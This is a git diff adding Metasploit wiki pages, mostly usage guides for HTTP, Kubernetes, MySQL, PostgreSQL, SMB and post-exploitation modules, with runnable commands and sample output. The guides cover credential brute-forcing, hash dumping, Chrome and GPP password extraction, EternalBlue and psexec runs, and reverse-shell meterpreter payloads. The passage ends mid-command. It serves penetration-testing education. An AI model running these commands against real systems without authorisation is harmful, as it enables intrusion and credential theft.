values](https://github.com/rapid7/ruby_smb/pull/155) +* [Add a command target to the PSexec module](https://github.com/rapid7/metasploit-framework/pull/13812) + +## Get Metasploit 6.0 + +You can get Metasploit 6.0 by checking out the [6.0.0 tag](https://github.com/rapid7/metasploit-framework/releases/tag/6.0.0) in the Metasploit GitHub project. + +Need a primer on Framework architecture and usage? Take a look at [our wiki here](https://github.com/rapid7/metasploit-framework/wiki), and feel free to reach out to the broader community [on Slack](https://metasploit.com/slack). There are also myriad public and user-generated resources on Metasploit tips, tricks, and content, so if you can't find something you want in our wiki, ask Google or the community what they recommend. + +See all the ways to stay informed and get involved at . diff --git a/metasploit-framework.wiki/Metasploit-Breaking-Changes.md b/metasploit-framework.wiki/Metasploit-Breaking-Changes.md new file mode 100644 index 000000000000..0814c7a8a58d --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Breaking-Changes.md @@ -0,0 +1,3 @@ +Occasionally, we have ideas or submissions that are absolutely awesome, but that require us to completely change how Metasploit does something, so the deployment of the feature must be done carefully. + +In Metasploit 6, it was the way we enumerated commands to the Meterpreter payloads and how we implemented crypto (as in cryptography) between framework and payloads. In an effort to chart these breaking changes, there is a github label for "Breaking Change" and we can use this space to talk about them as well. \ No newline at end of file diff --git a/metasploit-framework.wiki/Metasploit-Data-Service-Enhancements-(Goliath).md b/metasploit-framework.wiki/Metasploit-Data-Service-Enhancements-(Goliath).md new file mode 100644 index 000000000000..2ca1e20a8e98 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Data-Service-Enhancements-(Goliath).md @@ -0,0 +1,44 @@ +Project Goliath came about primarilly around the need to enhance the current data service and data models to increase the value of data in metasploit to our end users. + +This work is currently being done in 2 stages: + +**_Stage 1_** + +This is currently a work in progress (which is why Goliath is currently not fully functional). +The work being done or already done include: +* Port of the current data models to be used over HTTP / HTTPS +* Creation of a web service that serves the metasploit data model +* Creation of a new command in metasploit to remote (web based) data services +* Creation of a Metasploit Data Service API V1 document + +**_Stage 2_** +* Enhance the current data model +* Creation of a Metasploit Data Service API V2 document + Potential Changes include (feel free to submit ideas): + * Creation of a generic data type (for when you can't figure out which data type data belongs) + + +## Rationale + +The current data storage mechanism couples the metasploit core framework code to the current data storage technology. Coupling causes inflexibility which are reflected via the following problems: +* Changes to the current data model are complex +* The ability to support/use different data storage technologies is difficult +* Promotes a monolithic architecture where poor performance in any segment of the software affects the entire system (large network scans) + +Our solution to this is a data service proxy. A data service proxy allows us to separate core metasploit framework code from the underlying data service technology. The `framework.db` reference to data services is no longer tied directly to the underlying data storage, but instead all calls are proxied to an underlying implementation. + +Currently we plan to support the legacy data storage technology stack (RAILS/PostgreSQL) which we hope to eventually phase out. The new implementation will use a RESTful (https://en.wikipedia.org/wiki/Representational_state_transfer) approach whereby calls to `framework.db` can be proxied to a remote web service that supports the same data service API. We have built a web service that runs atop the current data storage service for the community. + +This approach enables us to: +* More easily enhance the metasploit data model +* Run a web-based data service independent of the metasploit framework + * Reduces the memory used by a metasploit framework instance using a data service by no longer requiring a DB client + * Increases throughput as storage calls don't necessarily need to be asynchronous + * Allow teams to collaborate easily by connecting to a centralized data service +* Quickly build out data services that leverage different technology stacks +* Isolate component testing +* Users of metasploit can now leverage a rigid API to build other tools easily (documentation to be provided soon) + +## Usage + +For more information on setting up the web service and using the data services see [Metasploit Web Service](https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service). \ No newline at end of file diff --git a/metasploit-framework.wiki/Metasploit-Framework-Wish-List.md b/metasploit-framework.wiki/Metasploit-Framework-Wish-List.md new file mode 100644 index 000000000000..da1c19d4bf57 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Framework-Wish-List.md @@ -0,0 +1,15 @@ +We are frequently asked what would be useful as a contribution to the project. There's evergreen advice below, as well as a few more specific wish list ideas from our team. + +## Always useful + +* If you're unfamiliar with Metasploit or looking to tackle some smaller projects, we'll thank you a million times over to [look at our issue queue](https://github.com/rapid7/metasploit-framework/issues). Submitting bug fixes, testing reported issues, and answering questions are all extremely helpful. +* See an issue whose submitter didn't give us much information about replication, their target environment, or their version of Metasploit? See if you can get some clarity to help out, or better yet, test it yourself! +* You can also sort out [feature requests in our issue queue](https://github.com/rapid7/metasploit-framework/issues?q=is%3Aopen+is%3Aissue+label%3Afeature). See something that sounds cool? Fantastic! Tinker away and submit a PR. +* Write docs! Adding documentation is one of the best ways to help current and future users (especially beginners) and save developers pain. +* Check out [PRs in the attic](https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+is%3Aclosed+label%3Aattic) and see if you can pick up where another contributor left off or got stuck. + +## A few other ideas + +* Implement transport switching for Mettle. +* Improve network evasions across multiple protocols. Client headers abound with telltales! +* Add UPnP recon and fuzzing library support (there's a fun [thread on this idea here](https://github.com/rapid7/metasploit-framework/issues/11452#issuecomment-466495803)) diff --git a/metasploit-framework.wiki/Metasploit-Guide-HTTP.md b/metasploit-framework.wiki/Metasploit-Guide-HTTP.md new file mode 100644 index 000000000000..23299ab8df52 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-HTTP.md @@ -0,0 +1,161 @@ +## HTTP Workflows + +HTTP (Hypertext Transfer Protocol), is an application-level protocol for distributed, collaborative, hypermedia information systems. + +There are two main ports: +- 80/TCP - HTTP +- 443/TCP - HTTPS (Hypertext Transport Protocol _Secure_) - encrypted using Transport Layer Security or, formerly, Secure Sockets Layer + +Note that any port can be used to run an application which communicates via HTTP/HTTPS. + +This document is generic advice for running and debugging HTTP based Metasploit modules, but it is best to use a Metasploit module which is specific to the application that you are pentesting. For instance: + +``` +msf6 > search tomcat http +``` + +### HTTP Examples + +Auxiliary modules: + +``` +use auxiliary/scanner/http/title +run https://example.com +``` + +Specifying credentials and payload information: + +``` +use exploit/unix/http/cacti_filter_sqli_rce +run http://admin:pass@application.local/cacti/ lhost=tun0 lport=4444 +run 'http://admin:pass with spaces@application.local/cacti/' lhost=tun0 lport=4444 +``` + +Specifying alternative ports: + +``` +run http://192.168.123.6:9001 +``` + +### HTTP Debugging + +You can log all HTTP requests and responses to the Metasploit console with the `HttpTrace` option, as well as enable additional verbose logging: + +``` +use auxiliary/scanner/http/title +run http://example.com HttpTrace=true verbose=true +``` + +For instance: + +``` +msf6 > use scanner/http/title +msf6 auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 auxiliary(scanner/http/title) > set HttpTrace true +HttpTrace => true +msf6 auxiliary(scanner/http/title) > run + +#################### +# Request: +#################### +GET / HTTP/1.1 +Host: 127.0.0.1 +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) + + +#################### +# Response: +#################### +HTTP/1.0 200 OK +Server: SimpleHTTP/0.6 Python/2.7.16 +Date: Wed, 16 Dec 2020 01:16:32 GMT +Content-type: text/html; charset=utf-8 +Content-Length: 178 + + + +Directory listing for / + +

Directory listing for /

+
+
    +
+
+ + + + +[+] [127.0.0.1:80] [C:200] [R:] [S:SimpleHTTP/0.6 Python/2.7.16] Directory listing for / +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/title) > +``` + +To send all HTTP requests through a proxy, i.e. through Burp Suite: + +``` +use auxiliary/scanner/http/title +run http://example.com HttpTrace=true verbose=true proxies=HTTP:127.0.0.1:8080 +``` + +### HTTP Credentials + +If the module has no `username`/`password` options, for instance to log into an admin portal of a web application etc, then the credentials supplied via a HTTP URI will set the `HttpUsername`/`HttpPassword` options for [HTTP Basic access Authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) purposes. + +For instance, in the following module the `username`/`password` options will be set whilst the `HttpUsername`/`HttpPassword` options will not: + +``` +use exploit/unix/http/cacti_filter_sqli_rce + +Module options (exploit/unix/http/cacti_filter_sqli_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ... Omitted ... +* PASSWORD admin no Password to login with + TARGETURI /cacti/ yes The URI of Cacti +* USERNAME user yes User to login with + ... Omitted ... + +check http://admin:user@application.local/cacti/ + +USERNAME and PASSWORD will be set to 'admin' and 'user' +``` + +For the following module, as there are no `USERNAME`/`PASSWORD` options, the `HttpUsername`/`HttpPassword` options will be chosen instead for [HTTP Basic access Authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) purposes + +``` +use exploit/multi/http/tomcat_mgr_deploy +run http://admin:admin@192.168.123.6:8888 HttpTrace=true verbose=true lhost=192.168.123.1 +``` + +Note that the `HttpUsername`/`HttpPassword` may not be present in the `options` output, but can be found in the `advanced` module options: + +``` +use auxiliary/scanner/http/title +advanced + +Module advanced options (auxiliary/scanner/http/title): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN WORKSTATION yes The domain to use for Windows authentication + DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers + FingerprintCheck true no Conduct a pre-exploit fingerprint verification + HttpClientTimeout no HTTP connection and receive timeout +* HttpPassword no The HTTP password to specify for authentication + HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers + HttpTrace false no Show the raw HTTP requests and responses + HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable) + HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace +* HttpUsername no The HTTP username to specify for authentication + SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accept + ed: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2) + ShowProgress true yes Display progress messages during a scan + ShowProgressPercent 10 yes The interval in percent that progress should be shown + UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 no The User-Agent header to use for all requests + ) + VERBOSE false no Enable detailed status messages + WORKSPACE no Specify the workspace for this module +``` diff --git a/metasploit-framework.wiki/Metasploit-Guide-Kubernetes.md b/metasploit-framework.wiki/Metasploit-Guide-Kubernetes.md new file mode 100644 index 000000000000..562264970676 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-Kubernetes.md @@ -0,0 +1,168 @@ +## Kubernetes Workflows + +Metasploit has modules for both exploitation and enumeration of a Kubernetes cluster. These modules can either run through +a compromised docker container, or external to the cluster if the required APIs are accessible: + +- [modules/auxiliary/cloud/kubernetes/enum_kubernetes](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md) +- [modules/exploit/multi/kubernetes/exec](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/multi/kubernetes/exec.md) + +In the future there may be more modules than listed here, for the full list of modules run the `search` command within msfconsole: + +``` +msf6 > search kubernetes +``` + +### Lab Environment + +A tutorial for setting up a compromisable Kubernetes cluster can be found [here](https://github.com/rapid7/metasploit-framework/tree/master/test/kubernetes) + +### Kubernetes Enumeration + +Metasploit has support for enumerating the Kubernetes API to extract the following information: + +- Version - Enumerate Kubernetes service version, git commit, build date, etc +- Auth - RBAC permission information, i.e. if the token can create pods, read secrets, etc +- Namespaces - Enumerate available namespaces +- Pods - Enumerate currently running pods +- Secrets - Enumerate secrets, including base64 decoding to highlight noteworthy credentials, and storing loot + +The `auxiliary/cloud/kubernetes/enum_kubernetes` can be used to pivot through the compromised container to reach +an previously inaccessible Kubernetes API. In this scenario the container's Kubernetes service token will be read from the +file system, and used to authenticate with the Kubernetes API: + +If you have a Meterpreter session on a compromised Kubernetes container, the module values of `NAMESPACE`, `TOKEN`, `RHOSTS` and `RPORT` module options +will be gathered from the session host automatically. The `TOKEN` will be read from the mounted `/run/secrets/kubernetes.io/serviceaccount/token` file if available: + +``` +use auxiliary/cloud/kubernetes/enum_kubernetes +run session=-1 +``` + +If the Kubernetes API is publicly accessible and you have a JWT Token: + +``` +msf6 > use cloud/kubernetes/enum_kubernetes +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443 +RHOST => https://kubernetes.docker.internal:6443 +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... +TOKEN => eyJhbGciO... +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > run +[*] Running module against 127.0.0.1 + +[+] Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"} +[+] Enumerating namespaces +Namespaces +========== + + # name + - ---- + 0 default + 1 kube-node-lease + 2 kube-public + 3 kube-system + 4 kubernetes-dashboard + +... etc ... +``` + +By default the `run` command will enumerate all resources available, but you can also specify which actions you would like to perform: + +``` +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions + +Auxiliary actions: + + Name Description + ---- ----------- + all enumerate all resources + auth enumerate auth + namespace enumerate namespace + namespaces enumerate namespaces + pod enumerate pod + pods enumerate pods + secret enumerate secret + secrets enumerate secrets + version enumerate version +``` + +More usage examples: +``` +# Configuration +use cloud/kubernetes/enum_kubernetes +set RHOST https://kubernetes.docker.internal:6443 +set TOKEN eyJhbGciOiJSUz... + +# Enumeration, filtering, and displaying information: +run +namespaces +namespaces name=kube-public +auth +auth output=json +secrets +pods +pod +pod namespace=default name=redis-7fd956df5-sbchb +pod namespace=default name=redis-7fd956df5-sbchb output=json +pod namespace=default name=redis-7fd956df5-sbchb output=table +version +``` + +### Kubernetes Execution + +The `exploit/multi/kubernetes/exec` module will attempt to create a new pod in the specified namespace, as well as mounting the host's filesystem at `/host_mnt` if the required permissions are available. This module can either use websockets for communication, similar to the `kubectl exec --stdin --tty` command, or upload a full Meterpreter payload. + +If you have a Meterpreter session on a compromised Kubernetes container with the available permissions, the module values of `NAMESPACE`, `TOKEN`, `RHOSTS` and `RPORT` module options +will be gathered from the session host automatically. The `TOKEN` will be read from the mounted `/run/secrets/kubernetes.io/serviceaccount/token` file if available: + +``` +msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket +TARGET => Interactive WebSocket +msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1 + +[*] Routing traffic through session: 1 +[+] Kubernetes service host: 10.96.0.1:443 +[*] Using image: busybox +[+] Pod created: burhgvzc +[*] Waiting for the pod to be ready... +[+] Successfully established the WebSocket +[*] Found shell. +[*] Command shell session 2 opened (172.17.0.31:59437 -> 10.96.0.1:443) at 2021-10-01 10:05:57 -0400 + +id +uid=0(root) gid=0(root) groups=10(wheel) +pwd +/ +``` + +If the Kubernetes API is available remotely, the RHOST values and token can be set manually. In this scenario a token is manually specified, to execute a Python Meterpreter payload within the `thinkphp-67f7c88cc9-tgpfh` pod: + +``` +msf6 > use exploit/multi/kubernetes/exec +[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1... +TOKEN => eyJhbGciOiJSUzI1... +msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh +POD => thinkphp-67f7c88cc9-tgpfh +msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31 +RHOSTS => 192.168.159.31 +msf6 exploit(multi/kubernetes/exec) > set TARGET Python +TARGET => Python +msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp +PAYLOAD => python/meterpreter/reverse_tcp +msf6 exploit(multi/kubernetes/exec) > run + +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] Sending stage (39736 bytes) to 192.168.159.31 +[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:59234) at 2021-10-01 09:55:00 -0400 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : thinkphp-67f7c88cc9-tgpfh +OS : Linux 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021 +Architecture : x64 +Meterpreter : python/linux +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(multi/kubernetes/exec) > +``` diff --git a/metasploit-framework.wiki/Metasploit-Guide-MySQL.md b/metasploit-framework.wiki/Metasploit-Guide-MySQL.md new file mode 100644 index 000000000000..c3f5b914398a --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-MySQL.md @@ -0,0 +1,122 @@ +## MySQL + +MySQL is frequently found on port 3306/TCP. It is an open-source relational database management system. + +Metasploit has support for multiple MySQL modules, including: + +- Version enumeration +- Verifying/bruteforcing credentials +- Dumping database information +- Executing arbitrary queries against the database +- Executing arbitrary SQL queries against the database +- Gaining reverse shells + +There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: + +``` +msf6 > search mysql +``` + +### Lab Environment + +When testing in a lab environment MySQL can either be installed on the host machine or within Docker: + +``` +docker run -it --rm -e MYSQL_ROOT_PASSWORD=' a b c p4$$w0rd' -p 3306:3306 mariadb:latest +``` + +### MySQL Enumeration + +Enumerate version: + +``` +use auxiliary/scanner/mysql/mysql_version +run mysql://127.0.0.1 +``` + +### MySQL Login / Bruteforce + +If you have MySQL credentials to validate: + +``` +use auxiliary/scanner/mysql/mysql_login +run 'mysql://root: a b c p4$$w0rd@127.0.0.1' +``` + +Re-using MySQL credentials in a subnet: + +``` +use auxiliary/scanner/mysql/mysql_login +run cidr:/24:mysql://user:pass@192.168.222.0 threads=50 +``` + +Using an alternative port: + +``` +use auxiliary/scanner/mysql/mysql_login +run mysql://user:pass@192.168.123.6:2222 +``` + +Brute-force host with known user and password list: + +``` +use auxiliary/scanner/mysql/mysql_login +run mysql://known_user@192.168.222.1 threads=50 pass_file=./wordlist.txt +``` + +Brute-force credentials: + +``` +use auxiliary/scanner/mysql/mysql_login +run mysql://192.168.222.1 threads=50 user_file=./users.txt pass_file=./wordlist.txt +``` + +Brute-force credentials in a subnet: + +``` +use auxiliary/scanner/mysql/mysql_login +run cidr:/24:mysql://user:pass@192.168.222.0 threads=50 +run cidr:/24:mysql://user@192.168.222.0 threads=50 pass_file=./wordlist.txt +``` + +### MySQL Dumping + +User and hash dump: + +``` +use auxiliary/scanner/mysql/mysql_hashdump +run 'mysql://root: a b c p4$$w0rd@127.0.0.1' +``` + +Schema dump: + +``` +use auxiliary/scanner/mysql/mysql_schemadump +run 'mysql://root: a b c p4$$w0rd@127.0.0.1' +``` + +### MySQL Querying + +Execute raw SQL: + +``` +use admin/mysql/mysql_sql +run 'mysql://root: a b c p4$$w0rd@127.0.0.1' sql='select version()' +``` + +### MySQL Reverse Shell + +This module creates and enables a custom UDF (user defined function) on the target host via the `SELECT ... into DUMPFILE` method of binary injection. On default Microsoft Windows installations of MySQL (=< 5.5.9), directory write permissions not enforced, and the MySQL service runs as LocalSystem. + +For this to work successfully: + +1. `secure_file_priv`, a mysql setting, must be changed from the default to allow writing to MySQL's plugins folder +2. On Ubuntu, apparmor needs a bunch of exceptions added, or to be disabled. Equivalents on other linux systems most likely need the same +3. The MySQL plugin folder must be writable + +NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL, and will define or redefine `sys_eval()` and `sys_exec()` functions. Usage: + +``` +use multi/mysql/mysql_udf_payload +run 'mysql://root: a b c p4$$w0rd@127.0.0.1' lhost=192.168.123.1 target=Linux payload=linux/x86/meterpreter/reverse_tcp +``` diff --git a/metasploit-framework.wiki/Metasploit-Guide-Post-Gather-Modules.md b/metasploit-framework.wiki/Metasploit-Guide-Post-Gather-Modules.md new file mode 100644 index 000000000000..2cd58d02d525 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-Post-Gather-Modules.md @@ -0,0 +1,82 @@ +## Post Modules + +Metasploit's post gather modules are useful after a Metasploit session has opened. This guide focuses on Post modules for gathering additional information from a host after a Metasploit session has opened. + +Metasploit post modules replace old Meterpreter scripts, which are no longer maintained or accepted by the framework team. + +You can search for post gather modules within msfconsole: + +``` +msf6 > search type:post platform:windows name:gather + +Matching Modules +================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 post/windows/gather/ad_to_sqlite normal No AD Computer, Group and Recursive User Membership to Local SQLite DB + 1 post/windows/gather/credentials/aim normal No Aim credential gatherer + ... etc .. +``` + +### Usage + +There are two ways to launch a Post module, both require an existing session. + +Within a msf prompt you can use the `use` comand followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session: + +``` +msf6 > use post/windows/gather/enum_chrome +msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true + +[*] Impersonating token: 7192 +[*] Running as user 'DESKTOP-N3MAG5R\basic_user'... +[*] Extracting data for user 'basic_user'... +[+] Downloaded Web Data to '/Users/user/.msf4/loot/20220422122125_default_192.168.123.151_chrome.raw.WebD_560928.txt' +[-] Cookies not found +[+] Downloaded History to '/Users/user/.msf4/loot/20220422122126_default_192.168.123.151_chrome.raw.Histo_861946.txt' +[+] Downloaded Login Data to '/Users/user/.msf4/loot/20220422122126_default_192.168.123.151_chrome.raw.Login_785667.txt' +[+] Downloaded Bookmarks to '/Users/user/.msf4/loot/20220422122127_default_192.168.123.151_chrome.raw.Bookm_612993.txt' +[+] Downloaded Preferences to '/Users/user/.msf4/loot/20220422122127_default_192.168.123.151_chrome.raw.Prefe_893631.txt' +[*] Found password encrypted with masterkey +[+] Found masterkey! +[+] Decrypted data: url:http://192.168.123.6/ helloworld:157746edfe6b4d369d7e656c00eeb5c8 +[+] Decrypted data: url:https://www.example.com/ my_username:my_password_123 +[+] Decrypted data saved in: /Users/user/.msf4/loot/20220422122129_default_192.168.123.151_chrome.decrypted_981698.txt +[*] Post module execution completed +msf6 post(windows/gather/enum_chrome) > +``` + +Or within a Meterpreter prompt use the `run` command, which will automatically set the module's session value: + +``` +msf6 > sessions --interact -1 +[*] Starting interaction with 5... + +meterpreter > run post/windows/gather/enum_applications + +[*] Enumerating applications installed on DESKTOP-N3MAG5R + +Installed Applications +====================== + + Name Version + ---- ------- + 7-Zip 21.07 (x64) 21.07 + Application Verifier x64 External Package 10.1.19041.685 + ClickOnce Bootstrapper Package for Microsoft .NET Framework 4.8.04162 + DiagnosticsHub_CollectionService 16.1.28901 + Docker Desktop 2.2.0.4 + ... etc .. +``` + +## Useful modules + +### Windows GPP Credentials + +This module enumerates the victim machine's domain controller and connects to it via SMB. It then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts them using Microsoft's public AES key. Cached Group Policy files may be found on end-user devices if the group policy object is deleted rather than unlinked + +``` +use post/windows/gather/credentials/gpp +run session=-1 +``` diff --git a/metasploit-framework.wiki/Metasploit-Guide-PostgreSQL.md b/metasploit-framework.wiki/Metasploit-Guide-PostgreSQL.md new file mode 100644 index 000000000000..bd1abe1aa680 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-PostgreSQL.md @@ -0,0 +1,137 @@ +## PostgreSQL Workflows + +PostgreSQL, sometimes aliased as Postgres, is frequently found on port 5432/TCP. It is an open-source relational database management system. + +Metasploit has support for multiple PostgreSQL modules, including: + +- Version enumeration +- Verifying/bruteforcing credentials +- Dumping database information +- Capture server +- Executing arbitrary SQL queries against the database +- Gaining reverse shells + +There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: + +``` +msf6 > search postgres +``` + +### Lab Environment + +When testing in a lab environment PostgreSQL can either be installed on the host machine or within Docker: + +``` +docker run -it --rm --publish 127.0.0.1:5432:5432 -e POSTGRES_PASSWORD=password postgres:13.1-alpine +``` + +### PostgreSQL Enumeration + +Enumerate version: + +``` +use auxiliary/scanner/postgres/postgres_version +run postgres://192.168.123.13 +run postgres://postgres:password@192.168.123.13 +``` + +### PostgreSQL Login / Bruteforce + +If you have PostgreSQL credentials to validate: + +``` +use auxiliary/scanner/postgres/postgres_login +run 'postgres://root: a b c p4$$w0rd@127.0.0.1' +``` + +Re-using PostgreSQL credentials in a subnet: + +``` +use auxiliary/scanner/postgres/postgres_login +run cidr:/24:myspostgresl://user:pass@192.168.222.0 threads=50 +``` + +Using an alternative port: + +``` +use auxiliary/scanner/postgres/postgres_login +run postgres://user:pass@192.168.123.6:2222 +``` + +Brute-force host with known user and password list: + +``` +use auxiliary/scanner/postgres/postgres_login +run postgres://known_user@192.168.222.1 threads=50 pass_file=./wordlist.txt +``` + +Brute-force credentials: + +``` +use auxiliary/scanner/postgres/postgres_login +run postgres://192.168.222.1 threads=50 user_file=./users.txt pass_file=./wordlist.txt +``` + +Brute-force credentials in a subnet: + +``` +use auxiliary/scanner/postgres/postgres_login +run cidr:/24:postgres://user:pass@192.168.222.0 threads=50 +run cidr:/24:postgres://user@192.168.222.0 threads=50 pass_file=./wordlist.txt +``` + +### PostgreSQL Capture Server + +Captures and log PostgreSQL credentials: + +``` +use auxiliary/server/capture/postgresql +run +``` + +For example, if a client connects with: + +``` +psql postgres://postgres:mysecretpassword@localhost:5432 +``` + +Metasploit's output will be: + +``` +msf6 auxiliary(server/capture/postgresql) > +[*] Started service listener on 0.0.0.0:5432 +[*] Server started. +[+] PostgreSQL LOGIN 127.0.0.1:60406 postgres / mysecretpassword / postgres +``` + +### PostgreSQL Dumping + +User and hash dump: + +``` +use auxiliary/scanner/postgres/postgres_hashdump +run postgres://postgres:password@192.168.123.13 +run postgres://postgres:password@192.168.123.13/database_name +``` + +Schema dump: + +``` +use auxiliary/scanner/postgres/postgres_schemadump +run postgres://postgres:password@192.168.123.13 +run postgres://postgres:password@192.168.123.13 ignored_databases=template1,template0,postgres +``` + +### PostgreSQL Querying + +``` +use auxiliary/admin/postgres/postgres_sql +run 'postgres://user:this is my password@192.168.1.123/database_name' sql='select version()' +``` + +### PostgreSQL Reverse Shell + +``` +use exploit/linux/postgres/postgres_payload +run postgres://postgres:password@192.168.123.6 lhost=192.168.123.1 lport=5000 payload=linux/x64/meterpreter/reverse_tcp target='Linux\ x86_64' +``` diff --git a/metasploit-framework.wiki/Metasploit-Guide-SMB.md b/metasploit-framework.wiki/Metasploit-Guide-SMB.md new file mode 100644 index 000000000000..0bd224f2e873 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-Guide-SMB.md @@ -0,0 +1,187 @@ +## SMB Workflows + +SMB (Server Message Blocks), is a way for sharing files across nodes on a network. + +There are two main ports for SMB: + +- 139/TCP - Initially Microsoft implemented SMB ontop of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network +- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used. + +Other terminology to be aware of: +- SMB - Serer Message Blocks +- CIFS - Common Internet File System +- Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems + +Metasploit has support for multiple SMB modules, including: + +- Version enumeration +- Verifying/bruteforcing credentials +- Capture modules +- Relay modules +- File transfer +- Exploit modules + +There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: + +``` +msf6 > search mysql +``` + +### Lab Environment + +When testing in a lab environment - SMB can be used on a Window's host machine, or within Docker. + +For instance running Samba on Ubuntu 16.04: + +```bash +docker run -it --rm --publish 127.0.0.1:139:139 --publish 127.0.0.1:445:445 ubuntu:16.04 /bin/bash +mkdir -p /tmp/foo +apt update +apt install -y samba +``` + +Verifying version is as expected: +``` +$ samba --version +Version 4.3.11-Ubuntu +``` + +Configuring the share: +```bash +cat << EOF >> /etc/samba/smb.conf +[foo_share] + comment = Foo samba share + path = /tmp/foo + read only = no + browsable = yes +EOF +``` + +Restart the service: + +``` +service smbd restart +``` + +### SMB Enumeration + +Enumerate SMB version: + +``` +use auxiliary/scanner/smb/smb_version +run smb://10.10.10.161 +``` + +Enumerate shares: + +``` +use auxiliary/scanner/smb/smb_enumshares +run smb://10.10.10.161 +run smb://user:pass@10.10.10.161 +run 'smb://domain;user with spaces:pass@192.168.123.4' SMB::AlwaysEncrypt=false SMB::ProtocolVersion=1 +``` + +Enumerate shares and show all files recursively: + +``` +use auxiliary/scanner/smb/smb_enumshares +run 'smb://user:pass with a space@10.10.10.161' showfiles=true spidershares=true +``` + +Enumerate users: + +``` +use auxiliary/scanner/smb/smb_enumusers +run smb://user:p4$$w0rd@192.168.123.13 +``` + +[Enumerate gpp files](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/smb/smb_enum_gpp.md) in a SMB share: + +``` +use auxiliary/scanner/smb/smb_enum_gpp +run smb://192.168.123.13/share_name verbose=true store=true +run smb://user:p4$$w0rd@192.168.123.13/share_name verbose=true store=true +``` + +### SMB Server + +Create a mock SMB server which accepts credentials before returning `NT_STATUS_LOGON_FAILURE`. These hashes can then be cracked later: + +``` +use auxiliary/server/capture/smb +run +``` + +### SMB MS17-010 + +Metasploit has a module for MS17-010, dubbed Eternal Blue, which has the capability to target Windows 7, Windows 8.1, Windows 2012 R2, and Windows 10. + +Checking for exploitability: + +``` +use auxiliary/scanner/smb/smb_ms17_010 +check 10.10.10.23 +check 10.10.10.0/24 +check smb://user:pass@10.10.10.1/ +check smb://domain;user:pass@10.10.10.1/ +check cidr:/24:smb://user:pass@10.10.10.0 threads=32 +``` + +As of 2021, Metasploit supports a single exploit module for which has the capability to target Windows 7, Windows 8.1, Windows 2012 R2, and Windows 10, full details within the [Metasploit Wrapup](https://www.rapid7.com/blog/post/2021/07/16/metasploit-wrap-up-121/): + +``` +use exploit/windows/smb/ms17_010_eternalblue +run 10.10.10.23 lhost=192.168.123.1 +run 10.10.10.0/24 lhost=192.168.123.1 lport=5000 +run smb://user:pass@10.10.10.1/ lhost=192.168.123.1 +run smb://domain;user:pass@10.10.10.1/ lhost=192.168.123.1 +``` + +### SMB psexec + +Running psexec against a remote host with credentials: + +``` +use exploit/windows/smb/psexec +run smb://user:pass8@192.168.123.13 lhost=192.168.123.1 lport=5000 +``` + +Running psexec with NTLM hashes: + +``` +use exploit/windows/smb/psexec +run 